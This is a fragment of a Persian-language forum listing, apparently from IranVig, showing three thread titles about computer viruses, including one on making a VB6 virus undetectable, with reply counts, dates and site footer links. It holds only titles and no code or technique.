آخرین ارسال: NO DONGLE
Exclamation [فوری] ویروس کودر کمک فوری alir32a 4 4,325 ۱۵-بهمن-۱۳۹۳, ۱۸:۵۱:۰۸
آخرین ارسال: NO DONGLE
  معرفی یک ویروس خطرناک apcog 16 13,782 ۱۲-مهر-۱۳۹۳, ۰۹:۱۴:۴۳
آخرین ارسال: Di Di
  غیر قابل شناسایی کردن ویروس در VB6 crab 8 10,534 ۰۶-مهر-۱۳۹۳, ۰۱:۰۸:۴۸
آخرین ارسال: grimm

پرش به انجمن:


کاربرانِ درحال بازدید از این موضوع: 1 مهمان

صفحه‌ی تماس | IranVig | بازگشت به بالا | | بایگانی | پیوند سایتی RSS